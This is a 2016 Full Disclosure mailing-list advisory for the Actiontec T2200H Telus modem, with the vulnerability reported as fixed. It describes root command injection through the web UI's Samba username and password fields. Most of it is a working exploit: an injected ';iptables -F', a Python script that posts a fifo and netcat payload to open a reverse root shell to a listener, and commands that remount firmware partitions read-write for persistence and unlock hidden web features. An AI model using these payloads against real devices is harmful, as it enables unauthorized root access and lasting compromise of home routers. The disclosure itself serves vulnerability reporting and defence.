full-disclosure - [FD] Actiontec T2200H (Telus Modem) Root Reverse Shell

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Message-ID: <CAKA4ij-BBM0VQq1TfFJ3H9+O6A_MnCyu6NeFxRCvmrPLaP_0Ww@mail.gmail.com>
Date: Sun, 14 Aug 2016 05:48:48 +0000
From: Andrew Klaus <andrewklaus@...il.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Actiontec T2200H (Telus Modem) Root Reverse Shell

###  Device Details
Vendor: Actiontec (Telus Branded, but may work on others)
Model: T2200H  (but likely affecting other similar models of theirs)
Affected Firmware: T2200H-31.128L.03
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manual.pdf

Reported: November 2015
Status: Fixed on newly pushed firmware version
CVE:  Not needed since update is pushed by the provider.

The Telus Actiontec T2200H is Telus’ standard bonded VDSL2 modem. It
incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode,
802.11agn wireless, etc.

###   Summary of Findings

- root shell access can be obtained as long as an attacker has a login to
the web UI. The password can always be reset by knowing the device serial
number printed on the device, if the default password hasn't been changed.
- There are 2 separate firmware partitions (/dev/mtdblock0 and
/dev/mtdblock1) that can be mounted read-write and then modified with
additional files or configuration - surviving reboots and factory resets.
- TR-069 settings can be modified to not check in to the management server.
This means that future updates would be impossible without flashing the
device locally.

###  Running single shell commands

Under Advanced Setup > Samba Configuration update either the Samba Username
or Password with the following: “;iptables -F”. A USB flash drive needs to
be plugged into the USB port on the rear of the modem when running the
exploit from the web GUI. Anything run in this field is executed as the
root user.

Now after running nmap, all listening ports are open:

$ nmap -p 1-10000 192.168.1.254
Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-11-08 22:14 MST
Nmap scan report for 192.168.1.254
Host is up (0.016s latency).
Not shown: 9991 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
5431/tcp open  park-agent
7547/tcp open  unknown

###   Obtaining reverse root shell

Create a netcat session locally: nc -k -l 5555

Next we’ll run the following python code to allow us to pipe /bin/sh back
to us. Before running the following python code, you will need to login
successfully to the web-ui through http://192.168.1.254.  192.168.1.9 is
the IP of the machine listening on netcat.

```
import requests
s = requests.session()
smb_post = { "action" : "savapply",
       "smbdEnable" : '1',
       "smbdPasswd" : "123",
       "smbdUserid" : ";rm /var/fifo2; mknod /var/fifo2 p",
       "smbdVolume" : 'usb1_1',
       "smbdWorkgroup" : "WORKGROUP"}

# creating the fifo pipe
s.post("http://192.168.1.254/fileshare.cmd", smb_post)
smb_post["smbdUserid"] = ";cat /var/fifo2 |/bin/sh -i  2>&1 |nc 192.168.1.9
5555 > /var/fifo2"
# Using the pipe to send a shell over netcat
s.post("http://192.168.1.254/fileshare.cmd", smb_post)
```

Your netcat listener should now be prompted with a root busybox shell:

$ nc -k -l 5555
BusyBox v1.17.2 (2013-12-27 18:49:15 PST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# cat /etc/image_version
T2200H-311283BGW0011043
#

### Other Discoveries

Mounting root filesystem read+write:
`mount -t jffs2 -o remount,rw mtd:rootfs`

Mounting partition 2 read-write:
`mount -t jffs2 -o rw /dev/mtdblock1 /mnt`

To allow unrestricted access of the web features (enabling telnet, firmware
flash,  TR-069 configuration, etc.)
After the root filesystem is mounted read-write:
```
cat /webs/perm.txt | sed ‘s/ 4/ 7/’ | /webs/perm.txt
cat /webs/perm2.txt | sed ‘s/ 4/ 7/’ | /webs/perm2.txt
killall -HUP httpd
```

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